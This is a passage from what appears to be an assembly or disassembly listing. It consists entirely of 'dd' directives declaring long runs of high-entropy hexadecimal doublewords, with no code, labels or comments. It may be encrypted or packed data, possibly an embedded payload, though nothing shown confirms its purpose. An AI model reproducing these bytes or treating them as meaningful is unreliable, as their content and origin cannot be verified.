0CBDF77EBh, 98EA89D7h, 1E66863Eh, 15624B4Bh dd 0F09EDDFBh, 33FE6948h, 2BCC6108h, 0AD7D76FAh, 725A44A6h dd 0D85B656Fh, 35EE704Ch, 0CDEE666Dh, 0D4A7D246h, 6A182237h dd 1D1E6F0Ah, 9B01861h, 0A152D27Eh, 1B96B031h, 0AF910333h dd 1507F2FDh, 81BCCB97h, 84355930h, 488BC84h, 0EBD1CB13h dd 6A9B2A64h, 0C987DF35h, 2DC31086h, 7DD7F0FDh, 5EDDAE22h dd 85D4801Dh, 4994AD6Ch, 9E4CD565h, 6D080EAEh, 0B96A06E9h dd 0BADB7D45h, 5D52E2DDh, 0E4E29A14h, 68F9C604h, 3CDF5A2Ah dd 739A4907h, 8E596B7Ch, 26559F44h, 3767803Eh, 0D76A9D07h dd 88827499h, 0D07E67Eh, 50FEE9CDh, 5CD65EF6h, 11E8B549h dd 77B0E6B6h, 4E12E4E5h, 1A564005h, 0F8F51264h, 0F84A0DADh dd 3F3851ECh, 0E18CB082h, 0D2C9F51Eh, 0B7C066Eh, 648AB329h dd 0A910B52Fh, 0D3E882E0h, 2D948014h, 9B0D4711h, 8917AB43h dd 0F2DEFD3Dh, 67B36312h, 0E2720B20h, 6366A6BAh, 0AD83D06Fh dd 0FE9A36A7h, 7D725057h, 0FC0ADBD0h, 5D1295DEh, 0CDDDF78Dh dd 0D780192Eh, 0A4CF2160h, 0D56E647Ah, 5A074A43h, 8BDDF384h dd 6EB38E51h, 7CF688CCh, 1B06965Ch, 7C716A12h, 7547372Ah dd 5CECCE3Eh, 0C71A012Ah, 0B1BB0C52h, 5B13313Eh, 8FC2A4FAh dd 4C7BF068h, 0BA0798A6h, 9879E645h, 55517930h, 840015A7h dd 3BE09019h, 0E4CA9978h, 0C6A4898Eh, 43158EF1h, 0DA9315F4h dd 0F081F302h, 58C525F6h, 60CA0B5Eh, 0B4972C9h, 0C80D173Eh dd 0C329C85Fh, 0CB3440C4h, 281F8920h, 0A14945C6h, 0A8E29365h dd 0BFE7CDF1h, 8547D086h, 28E45961h, 8B1D1FA8h, 280A4DE0h dd 337F748Bh, 3F78B3DAh, 0F73652F7h, 5C91C78Ah, 7FA4FEF7h dd 0C13BB275h, 1081167Eh, 37158796h, 0A458E760h, 0F6D273FDh dd 345E0AFh, 881D000Eh, 540D8181h, 923D601Ah, 53150BFDh dd 9A61A35Ch, 0D5EF52A4h, 2599EDFBh, 6B29E712h, 0A8456044h dd 0A8A1A554h, 0CFCC39A5h, 8FA0FA39h, 742EDA5Bh, 344F946Ah dd 0AA72C87Eh, 3C7FD3EDh, 0C054A636h, 454D0E04h, 8C17DDB5h dd 1875C613h, 8CC6F1B6h, 0E494D4ECh, 3997F950h, 43112C79h dd 95FE6596h, 0DCA3A2D3h, 2D991DD7h, 6A18C3EEh, 0ADD1313Ah dd 0B1C4EEEh, 0C3798995h, 0CCC1B927h, 0FC4B886Ch, 287AB8DEh dd 0DB606D02h, 1EF9B54h, 8D21FEAh, 4580E149h, 3CF8767Dh dd 81AEFCAh, 5A15C41Ch, 48E4A1A8h, 15E36362h, 482D8A86h dd 0DF9FFC79h, 27F95C2Eh, 7A0D542Bh, 0A2607153h, 0BD09D6FAh dd 8B83613Bh, 83D2B81Eh, 8E111855h, 0D338BB8Eh, 0B2F88D3Eh dd 7A43E9E0h, 634C9C7h, 187FBFFFh, 0BF353FE8h, 13870150h dd 0C2B35BACh, 0D79E2290h, 68597CE5h, 5A23FBFEh, 66B1AC0Eh dd 0C2B73C97h, 0D13CF011h, 4F68981Dh, 75E68005h, 0B34A89FBh dd 70669C62h, 0D4506A14h, 25715EE1h, 3747532Ch, 1ACA6B31h dd 7511BD4Ah, 2993E94Ch, 4542ACA4h, 0EF41CFCCh, 4D911D99h dd 0AEEAE9BFh, 853F7D22h, 0A8322146h, 0DCADB2AEh, 7B456246h dd 0BDFD287Bh, 87BF8298h, 6BA7F62Fh, 7EAD1CC0h, 4296E1FCh dd 30D5B900h, 0E2AF4D1Eh, 48D1F370h, 6B144164h, 0E3049765h dd 3BFA1022h, 0D0D4AF1Ah, 753D4413h, 0F9F116E5h, 588209E9h dd 1C117CFCh, 90F10055h, 0EDB233E8h, 3C90FBD5h, 71DA1FC7h dd 0D3C99875h, 0FA6142B7h, 16ED739Ah, 0B6E41915h, 0E3A17584h dd 0C32D1D4Fh, 5ADE7D1Dh, 78D15867h, 0F40EB0Eh, 1CE47460h dd 5CDBF737h, 1F58B215h, 2483121h, 7FF1D4EEh, 0A7FCFFE7h dd 7320528Fh, 52188351h, 15B3155Ah, 0BB751A63h, 550F38Ah dd 2C144847h, 0C51BEA5h, 0A6A4BA54h, 0BE2DE69h, 0FD8600BAh dd 0EF8C20CDh, 70992073h, 0EFAECC69h, 0CC1F11D0h, 0DD3E09BEh dd 0FA785C61h, 17BD1FA3h, 5E8D7BEEh, 0B1EFFED7h, 8C00B610h dd 84E37155h, 6D4982E1h, 0D132E241h, 0E486931Fh, 0C0A18995h dd 2C292CE1h, 0B018180Dh, 7B1E477Eh, 8D0454F5h, 0B67C6F29h dd 2FA399D5h, 30D26ED5h, 35FBD091h, 1C41AA9Dh, 7182017Fh dd 8FAD6305h, 6E848DE8h, 0B57A233Fh, 9BA7A57Ch, 8E11D5A8h dd 509E64A5h, 0FF23F823h, 3D979EA3h, 0EFC57029h, 0AA726BB7h dd 0A47A7C6Ch, 81164CECh dd 0F7907252h, 3D4B954h, 0C943B4CFh, 0C83D245Dh, 48B50BBh dd 6117F887h, 548B2ABAh, 9E858A15h, 9A308824h, 96333011h dd 518F5414h, 97656DBFh, 2AD23699h, 0F53DC6B9h, 9612FF1Dh dd 5E90267Ah, 0D4C3577Ah, 859910B0h, 0CFE4B4B2h, 5E2E5471h dd 0DBC12022h, 0A5D57FB3h, 3C8F2D9Ah, 74C8E18h, 353984EFh dd 47EC324Dh, 277C8BE3h, 44EBFA59h, 0CC872A8h, 214A6BD0h dd 2234301Ch, 0A30D5317h, 7AD20FE5h, 0D4DD9FEDh, 4449D179h dd 9E5E582Dh, 3F5A9285h, 0D5498936h, 270D576Dh, 992321DDh dd 88EC6B3Fh, 0ABF9F2Eh, 0EBB33AC0h, 0D4921514h, 0D9EA14EDh dd 5C0D7A08h, 9F5B5E9Bh, 436E01E8h, 0AB8D6D26h, 97E3814Eh dd 821CD7ECh, 106206B0h, 0F50AC8Eh, 31675CCFh, 6C8CB133h dd 0DABED072h, 5B4724Eh, 29921351h, 0C0C472CDh, 8BC9529Ah dd 0A7A46A9Ah, 0D191042Eh, 8256A08Fh, 96AF1F28h, 48F1C435h dd 0D7A9F8A3h, 56315825h, 87A8E33h, 39C190F4h, 0D58017E9h dd 414F92C3h, 133B9F3Ch, 49925D77h, 5502026Eh, 4474034Eh dd 5EE0864Bh, 1B8B6489h, 97AD418Fh, 43AC6093h, 9B3510B7h dd 2B2231FDh, 2BBD1F2Eh, 6F9F262Eh, 0E3EF8F7Fh, 4D66C1A7h dd 90D29AC7h, 8E26052Eh, 5545E1C9h, 0CED21986h, 9F137839h dd 0AE7BA7A5h, 5F5892ECh, 36F054BCh, 0D04ECD0Bh, 6F97F82Fh dd 0CD2F773h, 0AFB6B088h, 0ACBEBD09h, 6303F703h, 0A87773D7h dd 4DAE6016h, 534BF85Ch, 3748C27Ch, 0F57D42ABh, 22CCF5ACh dd 0FBF90D25h, 0F14FD099h, 2F94A60Bh, 84BCFBC3h, 3B6B175Ch dd 64CAAFE6h, 9ED69ED4h, 635010A1h, 4F4FCBC1h, 0D8D7113Fh dd 9EE1E667h, 3AE5863Dh, 0BFA708D6h, 0F19C66F3h, 0DEAF3E92h dd 0E7BD4254h, 0B0829329h, 32EA413Fh, 6D0AEB29h, 9C4F8E63h dd 6FA3D177h, 75D1CE8Eh, 46C6BD66h, 7969D4FEh, 938E6DB4h dd 0C03DDC8h, 49D68465h, 8F3E561Fh, 9FB29EEDh, 0EA51426Bh dd 0D0CA34DDh, 26F8DB7h, 56D317DDh, 0EDC11D62h, 2644D637h dd 7ACC6E5h, 0B67086DCh, 9D9F8FE6h, 9915D04h, 742CD063h dd 2FEF4A3h, 7B2395C6h, 9AE95F43h, 885F3985h, 219FFD9Ch dd 34825779h, 0FBDECA74h, 0BF0EEDD9h, 1004BECEh, 6BA6C325h dd 0B8A2204h, 0C999BBDCh, 8F47547Dh, 469B984Fh, 65B2DEC3h dd 4242B0F2h, 0CBED43A2h, 47F40105h, 0CB2F427Ch, 0C8EEDB24h dd 0FC15E240h, 1952B261h, 5C1375D6h, 3AC883CEh, 1E42E128h dd 8DDB078Fh, 0A08FAAE3h, 69CB1847h, 49A2A147h, 0F4DE5547h dd 0D299BF69h, 7D049A2Ah, 0A00702E4h, 38843F5Ch, 2D6F5ECFh dd 730E0D0Dh, 0EBEF81DAh, 4BF29958h, 8674DA05h, 0E8470E3Ah dd 0EDBEAF88h, 0FA6056D0h, 0ACADD36h, 92671DBh, 3A439DB8h dd 0D4DD97B1h, 0C5AB8875h, 36771FADh, 0DFA5AFFh, 9956C13Eh dd 0DF6FAE8Bh, 4139401h, 0F8AFE09Ch, 0CCA458EFh, 0B5F0BDDBh dd 38DA0523h, 83BE900Ah, 2D4B2097h, 500F2CDh, 85F60F6Ch dd 0A186D978h, 25270A5h, 58B8A51Dh, 0FC13557Fh, 7D9354E2h dd 28D54DCFh, 0BE81A69Eh, 3CADEE8Bh, 0E6834135h, 1819C0C2h dd 11959B7Ch, 590D8ADAh, 0C66A706Dh, 9AEDCFB5h, 1D363E87h dd 2E4D5893h, 0E1FB898Ah, 2E621E3Ch, 43AC7401h, 69069645h dd 346E08ABh, 17EAE9E2h, 0B54922C9h, 3A1B37EDh, 0E0DAE86Fh dd 98452428h, 708488DDh, 0A2CFCC91h, 71CC4B73h, 4A58BAEh dd 528FEA2Fh, 4EE60BEFh, 4BD9626Fh, 0D835ABF4h, 5C2E574h dd 48EB48Bh, 0C07F7C76h, 75FE9EDBh, 809D6A14h, 5760AAF0h dd 0C44833D7h, 0BC40C0E4h, 0C4E0857h, 50E8BB7h, 0D856798Dh dd 975D4815h, 0FAE54FC5h, 0F90249D3h, 2B8C892Eh, 1B978FC6h dd 25306698h, 408B31C2h, 652FD9CAh, 764F0600h, 0D319F707h dd 0C41AFEE7h, 0BC298F43h, 46FDF11Ch, 8BBD77ECh, 6F188C42h dd 603A8D55h, 6A9FB9DFh, 5365AF66h, 0E2281475h, 9BCFE7F5h dd 27BC36Ah, 25673B04h, 0A479535Dh, 0CF0D8654h, 0D201525Dh dd 5BCECC38h, 25E259F8h, 9F9DCA2Ah, 0D3C676D4h, 45F13945h dd 0F41C5111h, 0AED3EB30h, 0B1ABEB84h, 184A07D9h, 57491B13h dd 0ADCAAF12h, 6B2CC523h, 938E1369h, 6078A395h, 0B9EC986Eh dd 0AE069683h, 226211E1h, 1BB5786Ch, 319E513h, 655F4808h dd 755632E8h, 0F4BB81Fh, 0B7A1F092h, 0D22D9EEBh, 38037E14h dd 9576346Ch, 9493A817h, 0C40661E6h, 0DCEAA505h, 377CB295h dd 322835FCh, 0E0E9B579h, 9987EC12h, 5FE69F14h, 19B3E08Ah dd 0E8AE5113h, 4124AD3Eh, 0FCB94E2Eh, 338408Eh, 9EAC2BF4h dd 5E19C6D7h, 6BEA1999h, 7DA95914h, 0D856B3AEh, 0EABE1F2Fh dd 0EA2C59BCh, 0AA8F1E67h, 2B2182B1h, 8A1E1DE3h, 0E219719Ah dd 15B4F802h, 784A9DF6h, 5A01AF5Dh, 0DCF669B5h, 0CF628475h dd 37ADFEC6h, 0C867E4E7h, 746A20F2h, 0A0F004EFh, 0D3AD964Bh dd 86E7853h, 3562FDC8h, 0B21C349Fh, 397F1CF7h, 4708969Bh dd 44A9B12Bh, 49668965h, 40D57B83h, 0BA67D86Fh, 63FF293h dd 3AB63348h, 1EC1D22Ch, 61772D59h, 0BE25FB33h, 0A3019A0Ch dd 15ECCFC7h, 40CEF27Ah, 9C67BFB8h, 0E52656B8h, 7B48D0h dd 3CED8E23h, 0B6D17C62h, 0CCA425ACh, 65FDE17Fh, 0C4873F42h dd 0D82AC05Ch, 4025C8ADh, 353E8108h, 8EE5D3FAh, 694C00F9h dd 6E202D5Fh, 5C5969C8h, 9B83AA62h, 0F41B2120h, 0C81B4EF0h dd 0A041F1DAh, 0FACDACF6h, 40EF98A2h, 21295CC6h, 279BB6DFh dd 0CE4C17C8h, 0C7E03D69h, 0A2FF021Eh, 95379175h, 50CB8937h dd 3D831654h, 0A9FA5AACh, 0A785D510h, 0FD333E0Fh, 858D0277h dd 1CA75703h, 0A8B74506h, 1518F4CDh, 73CC908Ah, 0EFE99A67h dd 0D96780AAh, 7C8F6920h, 1E0DF550h, 9B2591Ch, 381CB4AAh dd 7B189248h, 0C34C955Bh, 0EEE094CCh, 2E56E9DDh, 0D10666EAh dd 40FAF541h, 3718C217h, 8BF6E854h, 0A2558BBEh, 0C3154807h dd 760C8E65h, 3CED59D2h, 2C21E8A3h, 20F45CEEh, 1255AA17h dd 0AE80C4FEh, 4E7B72A3h, 717A82F4h, 861D7FAEh, 68377C61h dd 3165BC1h, 0CF967FF1h, 0BF7EEABCh, 1646A920h, 2BD217C9h dd 0C0F263DBh, 209B9D42h, 0AE0E96E2h, 0CEE9BE2Bh, 79764CEAh dd 0C8454A2Bh, 5E0022ACh, 0D7E872FAh, 0A29384DBh, 0B2765DAFh dd 0F93245A6h, 0C837FD98h, 4F08B9BAh, 134F0F88h, 0BCF3842Eh dd 5901FFECh, 8CD64E7Fh, 0BB65F283h, 0A0F1A971h, 6991F3C2h dd 1541D19Eh, 2C334531h, 8C5E94D2h, 0C8DBF2EBh, 4B1BBE09h dd 0DDA1A05Ah, 0A3B5B153h, 6D4D4C60h, 3D3023E5h, 8D4C4566h dd 754E4E09h, 66B2BB16h, 4F05E2E1h, 0F279F975h, 35DB2889h dd 0E5AFB325h, 79518BF0h, 75DDADA9h, 0EC3F71D1h, 8B004A65h dd 393CCD46h, 64C5F1C6h, 0EDF8D71Ch, 554666E8h, 7F83FAD5h dd 0DC337242h, 0A3B664D6h, 0A272A04Ah, 131CD536h, 103194A1h dd 0AFFB82DFh, 5794208Fh, 759A89F8h, 577CEFA3h, 0F7F6FC06h dd 0BBA30B26h, 9BB91D1Dh, 0A5FC44A8h, 4F39E0B8h, 17F4BE33h dd 0B088631Bh, 3ECE1DCFh, 0D2A845FBh, 0EF6B4D72h, 2DDE5ACh dd 1C4270BDh, 21C43485h, 0A5FB8F87h, 27D1438Bh, 88D13D7Ah dd 0BEB16B11h, 0B9C97FA4h, 1D4C027Fh, 98129603h, 0F0692674h dd 5FA61EB3h, 74A5C250h, 0C0E0156Eh, 462ECC24h, 4FBB51AEh dd 0CB58CAECh, 2C0F31E7h, 6D646515h, 31DD87A4h, 758A1829h dd 0C1C800B3h, 78D179C3h, 8E03507h, 0B5061C0Ah, 8E97C562h dd 73D503FBh, 0EBC93039h dd 0FC155D7h, 68C37D14h, 3705ACD9h, 983E91C5h, 0E5CD6F1Bh dd 490EB7C3h, 39EF44Eh, 0D613F799h, 433C50DCh, 0F23A149Eh dd 8949D17h, 8F4E5861h, 0BD670112h, 5333EFD8h, 0C812B4C8h dd 1956CDA0h, 44F9E1D0h, 0BA0927CAh, 32C07257h, 71CF1287h dd 9184A8B0h, 2485DD1Fh, 5E1A5F70h, 6A93DDA2h, 5E4FB079h dd 0E5545DBEh, 3794A1D1h, 0B396F35Eh, 3A18ECA5h, 0E808F13Ah dd 8EB1D1BCh, 1D1227E7h, 0A04F8DE0h, 69A097C2h, 0F8035E75h dd 9260FC8h, 0EBE4890Fh, 0D37F3673h, 8D7A1550h, 259BE606h dd 1181E0C5h, 5A1AD9EFh, 0BB889FB8h, 0A8BBE310h, 4226975Ch dd 0FA6687F8h, 0A2AEF0Dh, 7D1CCA2Dh, 0F2914647h, 60302985h dd 539A2044h, 0DA7BC114h, 466F4909h, 6597C6B1h, 0B36BFC4h dd 4AE94FBEh, 4B5EF313h, 0CA415FFAh, 647C2ADDh, 0A89FCEAAh dd 0AA664DBBh, 620E7EDCh, 769AA775h, 84F093A6h, 3998D0F3h dd 3F96D353h, 0CACB25FCh, 9ED36361h, 871ECE86h, 0F2B5DDD2h dd 0FAC26B4Bh, 0F47E1F1Fh, 57E1E0C4h, 8C2DBB8Dh, 0C0B2CE6h dd 1BCFFFFCh, 0D7ED8B13h, 51EAD6Ch, 0AF196166h, 0A49BCF71h dd 65C86B8Ah, 56EEA270h, 6DA31BE6h, 0D5D4EF92h, 0DBA1561Bh dd 7DDC75D4h, 0C25EBCE9h, 96BB4945h, 0D7230DDh, 0EC9B2096h dd 0B18B1ED5h, 48395423h, 0C41F0348h, 0E05E915Eh, 0E9DA6213h dd 0BF66E5AEh, 8DCB5653h, 524C969Bh, 0BFA85DD1h, 55ACC773h dd 12FD78h, 0F365275Bh, 7E43CD68h, 7F5A1F16h, 0EDEA7D4Ah dd 41B1309Fh, 3FA7829Ch, 40D68271h, 0B6D85714h, 1CEB58C4h dd 4F5A446Ch, 96DE8457h, 0EDD31466h, 1C2CED5Ah, 57BAF6EDh dd 6865770Ah, 3F7C712Dh, 0E91AE204h, 0CAD8308h, 31D9E894h dd 0AEE97CEBh, 0C77E0551h, 0F88D05AAh, 2F4A99F8h, 0E3F71292h dd 89BDE0CCh, 0F81CB1C1h, 5A433EE2h, 0FF20CBC9h, 762F749Fh dd 0DA4FDA17h, 6006CF43h, 67F51C96h, 0D67906B9h, 9645BD5Fh dd 62FA1E49h, 470DCC38h, 8DB2CA83h, 0D287274Fh, 66B51FDFh dd 0BE50D461h, 8DE48EAEh, 20E856F5h, 258A26CDh, 9399C7F9h dd 67999EC1h, 712F9482h, 0D7BF696Ah, 0F3F09057h, 552194B0h dd 8D7793A6h, 0B05625BBh, 0D7E4ECD2h, 26328709h, 0C5214448h dd 0BD26BF4Ch, 20A365DBh, 0D1B8858Ah, 24D4E092h, 10698D76h dd 8A71043Ah, 8A79EF64h, 328B3F54h, 0D217928Eh, 0AD989A49h dd 80D73C20h, 1D466871h, 6087E300h, 932CB805h, 0E1290179h dd 5B3C0B4Bh, 982B9AB2h, 80D16C6Eh, 0D7085E5Eh, 0D58DAA9Dh dd 6B42DD97h, 0F38B34C8h, 907BDE5Fh, 0D5297388h, 84A871AAh dd 80753CE1h, 57B7C443h, 0B395287Bh, 0F45CF497h, 4A11C0E9h dd 4449C0BCh, 19C0134h, 0A1C265A3h, 53FE604Bh, 0F6153856h dd 0E7BFF8BCh, 0C1655DB5h, 0C9BAE8E3h, 7C2B992Dh, 66345A97h dd 1D6C8EABh, 2AC3758Bh, 0A48BBC86h, 50D29FC7h, 1D8C4637h dd 8D8D9A78h, 795297DAh, 0AE4FE236h, 73ACF92Ah, 0E8C47448h dd 33BE2D6Bh, 9C5521C5h, 0A05E6C4Fh, 5D908280h, 30188EE4h dd 44D4D0B6h, 7413C185h, 0CD26C069h, 63024DB9h, 0A08092B7h dd 0B14F241Ah, 0B4EAD163h, 276FE2Ah, 0F3840141h, 7053861Eh dd 261A3DAh, 28024162h, 5B2F7B47h, 6C067613h, 0B37E64D1h dd 0C4ECF64Eh, 0ACAE73C8h, 0C0D0EF5Fh, 0BD013F4Eh, 57A1C18Ah dd 0A0EC4A1Fh, 0AFD76575h, 81D3B19Dh, 9D23AF36h, 0AFFBBABBh dd 0B8D9B9E9h, 7EF8FFFh, 0E639AB16h, 0BAF46E65h, 1019E662h dd 40A1E63Bh, 0BB852716h, 17C8BE7Dh, 693BF45Ch, 0C329BCDDh dd 56298A3Fh, 0B3FA869Fh, 2D15B40Ah, 1DE498FEh, 0B84BE2A2h dd 0CC48C90Ah, 0AFD1FD7Ch, 962FDBE5h, 3DBBA94h, 1D2783FCh dd 44635E7Ah, 59A305C9h, 0C18C15FEh, 6B863AF7h, 93B40FF5h dd 0FA6C52E0h, 0CAEC9A61h, 0B81B554Ch, 58EC2883h, 0B48F4B5Fh dd 240E4CA3h, 0DD2A4B9Eh, 0DDFEAB45h, 2381EF5Bh, 9688E04Dh dd 0EE535A42h, 68EE7F46h, 0A8ED058Dh, 91450767h, 0E57CB567h dd 46F25D1Ch, 922FD9FFh, 319E9AA9h, 0CE2DE38h, 0FCD29B22h dd 9B4DD8D3h, 8BE2A17h, 0F899795h, 57643B30h, 607C37B8h dd 676F34A0h, 0F8EE2F4h, 0ADBFC07h, 0C985C10Dh, 0AA39ECDh dd 3962373Ah, 9745A627h, 6F36A4FBh, 1451FEC5h, 2AC5A3ABh dd 12AD7F07h, 5F686F46h, 6D7B44B1h, 35B3C9E7h, 7BB92389h dd 0E08357B8h, 0E6CFB379h, 289DF1F8h, 0EC1A5131h, 512B8DDFh dd 0DD433C7Fh, 2FBE166Bh, 0DFB9D5C5h, 0B99BF0A2h, 0D44FD6h dd 0D2960039h, 0E72D3823h, 0EC3FFB8Dh, 9474ADB4h, 0D04332BAh dd 2B4FA50Eh, 91EF6BABh, 0EE15CBA8h, 0B16DCC6Ah, 6C968DEDh dd 49723E59h, 724DC059h, 0FD5186F4h, 0A80447ECh, 0CF86BB82h dd 0F3748205h, 0EF9EC26Bh, 0E524E882h, 54E4628Fh, 4F3DA5A2h dd 1604401Bh, 7D727E5Fh, 0A9400945h, 4F4194DDh, 1C01C59h dd 38EE0h, 0B831838Ch, 2D49AFE9h, 3627E5DEh, 0C5613CFEh dd 7BF1520Dh, 0E88DDA85h, 0F379FAC4h, 0D520096Ch, 4BF864BDh dd 29C8D50Ch, 21939329h, 32612433h, 9F607FCDh, 8A45026Bh dd 0E64DC96Ch, 79FE6D5Ch, 175C6542h, 1F8BE7EDh, 0D43A082Dh dd 0B7D0D488h, 0EE6EE38Dh, 0E5BD2393h, 3F5BC617h, 2063E8Dh dd 5A0622A4h, 622CEA75h, 89221823h, 19A5A1D5h, 80378B49h dd 3E3AA0F0h, 9C78EC8Fh, 4F2161Dh, 652A160Dh, 0C6C89E7Eh dd 0D73A2DD4h, 3E607BCDh, 7A18DED5h, 0D490035Fh, 0A281DB0Ch dd 0D4338CE3h, 0FC87C3A2h, 4686AEB4h, 7F9B68E6h, 290036C8h dd 52EF01F8h, 0AE9A7247h, 2E03BFB7h, 41E99E1h, 561C9C4Eh dd 0A865EE9Dh, 0D1BB06E0h, 0F6ED789Dh, 33C73530h, 227F5154h dd 9C82DAD2h, 0A4C70983h, 5098AF64h, 46206EB7h, 0F7802E53h dd 0DAEA3BF7h, 0D3B9B244h, 1ACC9718h, 0E52F61C8h, 41417F00h dd 0D23C4AABh, 0DAD5F7C0h, 0FC55E42h, 4BDD910Ch, 94B81DD7h dd 0C961B0BCh, 3CA1733Eh, 972B6927h, 895C65FEh, 0A23AC6DBh dd 0CDADBF31h, 0E158F870h, 5F9FEA06h, 0EDD25294h, 6A9B9DE7h dd 8BD7E95h, 1FA73DC4h, 29C70882h, 2F33D1C0h, 358278F9h dd 63D91000h, 8CA9FC2Ch, 0C0E5A465h, 35446C6Eh, 0E49FAAA5h dd 4FCF2E51h, 2A4BB802h, 0B8E1BA1Dh, 0F30F9143h, 0D763E7A5h dd 0AF1E0183h, 70C88D21h, 9B63C7Bh, 44CC8FBCh, 9932E463h dd 636182FCh, 4F11640Eh, 7324B988h, 0F546AF22h, 55A2E4D8h dd 3C37A24Dh, 0DB7D4157h, 98DE4770h, 2471DE92h, 0EE9FF956h dd 0EB3932DFh, 0A70D3B94h, 0CEC598CCh, 314AD83Eh, 15590B48h dd 9C63DDCEh, 0A3509C4h, 93A85853h, 0D8916C8h, 28C2EF12h dd 0D7CCE6A1h, 16A18514h, 0CE8288Fh, 2333B95Ch, 0BB81ECDBh dd 1167288h, 0A5D3CF71h, 41B147B6h, 0D4CCA0B5h, 7FBAA421h dd 3C0D73A6h, 1C4ED87Bh, 32A05E48h, 0D67EDD10h, 3D02656h dd 5F3831F2h, 0C564BE07h, 0AB5C7655h, 13CD48Dh, 37F182BCh dd 90FDF67Ah, 5F5B5676h, 5B675979h, 0A22A5A33h, 194C580Ch dd 5E1F2AC0h, 9B49AE35h, 7262387h, 0DB9140C5h, 606C7581h dd 0EFA47988h, 621691C0h, 3694BC91h, 3AECD49Dh, 741EE681h dd 126D5B06h, 0DD231E2h, 167C3EDFh, 3851AC0Ch, 249014CEh dd 0AB84D23Ch, 73A7491Eh, 8C153832h, 68A9B68Dh, 329FAB84h dd 2D92BE96h, 38D9635Bh, 7D7664F1h, 163E88C7h, 4A4370B6h dd 7D1DEDE7h, 80D2FE6Ch, 85D8EC31h, 0FF7BFA8Fh, 71A54EECh dd 0F3E0F5D3h, 0B89AA68Bh dd 17179EA2h, 0AB23C474h, 8383D673h, 50774DABh, 0A96E1193h dd 99806EF0h, 676CB08Fh, 39756396h, 25006805h, 0BC00EA7Ah dd 0C1E911D1h, 21F98759h, 30DB81AEh, 4D26E81Eh, 0F2D71ED3h dd 8BF202E4h, 0FE929A3h, 1355A9FCh, 84FB0EFBh, 0ACF96A12h dd 8BBDD090h, 0CDBB2B04h, 0C6CEBC90h, 2D529826h, 305FE087h dd 3F514B9Ch, 356BA01Ch, 0C251841Bh, 0F9D24B1Ah, 0D9C5FBE8h dd 0BAD1181Dh, 7F62247Fh, 85EC5719h, 9137645Fh, 6225B23Eh dd 0DBA65D16h, 0F3D5D5FEh, 6943810h, 10A8093Ah, 0E8AEDFB4h dd 9BA74A0Bh, 0A27061FBh, 77D469E0h, 0E31312FBh, 25C995BFh dd 84EF558Bh, 0C42A1F22h, 2FB440E9h, 50BC6E0Bh, 7FEDA03Fh dd 0E85BFFF8h, 59F2DFB5h, 0F54DDF89h, 1DB163D7h, 962AFC95h dd 0F92040E1h, 0A7F72720h, 0AA5B9676h, 0A06BB5BAh, 9FB8B46Ch dd 0B237A9BBh, 0D3516900h, 0E0A3B266h, 0C57F17DDh, 0B7722C6Bh dd 0F8B02330h, 0E694839Eh, 0B8B0EB02h, 3C94B983h, 2224E8A4h dd 6FA8EBFBh, 0EC9BDA92h, 923F1566h, 7F6FB95Eh, 0B6D4AA6Fh dd 40880C46h, 0FA421654h, 7869EB50h, 0C6D5AC81h, 0C6767DBh dd 44C50C61h, 0E661EA65h, 356539FBh, 0A89E91EBh, 32B65684h dd 0CF19390Eh, 4D1B6F04h, 9CEC04DFh, 0BA80940Fh, 73B5E0C1h dd 0E88A83BCh, 0F551EE5Ah, 0C27C4011h, 0B5E29743h, 0C7270E9Dh dd 0B45A375Fh, 0F2FF5C2h, 90FEBF47h, 0D12E3DB9h, 0DA4D42FDh dd 5245C3DAh, 877324D1h, 1DB871E5h, 6B10A92h, 0D896E059h dd 0C03837BAh, 0A6BCD4B4h, 401A5514h, 0FDB792A9h, 8059979Eh dd 0E80F8540h, 26BC59B0h, 0BB2D455Ah, 28EC970Ch, 0CF618B66h dd 0CF4DC861h, 67C1E7C6h, 0C992AB25h, 1DCA0FF1h, 0B64A86BBh dd 506AA6D8h, 4185ED2Fh, 9CC7C2BEh, 83397732h, 6888BDADh dd 11744B44h, 0E2861329h, 702DF61Eh, 4F34E9B2h, 0C7A6A0CCh dd 6D949FA4h, 9E83E0A6h, 0EE6E2B22h, 0CA2EE869h, 242DF789h dd 6EF7278Dh, 81B80967h, 0BD508BEEh, 6AB8D311h, 71CDCD34h dd 0BFFC05DAh, 0CA9D5595h, 8603C3C2h, 6467E5B7h, 0F78FBD26h dd 0F84F91BAh, 0E02C8949h, 652C486Eh, 0A7C34F43h, 0FCECCBBEh dd 0A85D44CEh, 0BF9D6054h, 8B4D67FCh, 6BFF7310h, 1FC42C7Ch dd 0DD009684h, 1618E446h, 0EA5BBDEAh, 97BA19B5h, 0C1C53D43h dd 2DD741Fh, 0ADB2039Ch, 4A7E5E72h, 387FD2A7h, 0C24E084Dh dd 0B98AC659h, 0EE58EC22h, 0D49484B9h, 99AB3902h, 0F895C946h dd 5A4E5F36h, 8BB1F992h, 5E5A461h, 0DA1A5202h, 5219076Fh dd 0FE6CDD25h, 4F5D193Dh, 0A9A99632h, 0DEF74679h, 77244536h dd 0F1F2C340h, 0A2E2C052h, 0A38A416h, 926C17A7h, 19F4D89Ch dd 0B2053426h, 472AC1E5h, 444215FCh, 6179BB98h, 0F3190DABh dd 0AD995AC1h, 1AE511D7h, 19C458E6h, 0DFF85010h, 10B83166h dd 0E189B912h, 32FFC647h, 64591D08h, 3B9DAEE3h, 80061D7Eh dd 0C8C0B4C4h, 0CEFCAF74h, 8AA36D62h, 5F26B1C4h, 68E35AE7h dd 45E7CF07h, 0A7D3583Bh, 0C2A3E220h, 0F0B18D10h, 83FEEF77h dd 9962B3CCh, 249AD354h, 28700036h, 0FE0EAAC1h, 6BDDEEB4h dd 0E210DFD3h, 36BBCE7Fh, 0CFB46EF2h, 5169A864h, 978691Ah dd 179FE759h, 0A5E1C9AAh, 26FA164Fh, 7A2555E4h, 0DD96830Eh dd 23045FAh, 0C1A65E13h, 9E5536BEh, 0ECE187B4h, 2676E1B4h dd 0EDDD4897h, 0A7B5E25Fh, 8F1DCA7Bh, 1E8B5959h, 61E09EA4h dd 223201B0h, 2F740FF3h, 0A40C0754h, 0E1F3698Ch, 68465746h dd 0A9499F82h, 4D0D0DD3h, 2C37E956h, 44BCCDF6h, 0A0FD481Dh dd 1EDD88E5h, 0E3E3E77Ch, 0F4E1F4B6h, 23871D72h, 19587971h dd 86B813A9h, 6AC05431h, 2AAA8510h, 0F0EF14DAh, 0BC52DF7Ah dd 49DB1848h, 0F29F438Ch, 9F7EFECCh, 0B79F7C5Ah, 0F1E2D4B8h dd 0F03BB6D7h, 0E4B021B8h, 0B3605218h, 1355845Ch, 0D373BECAh dd 0B553185Fh, 9992F6FCh, 0CC07EBA1h, 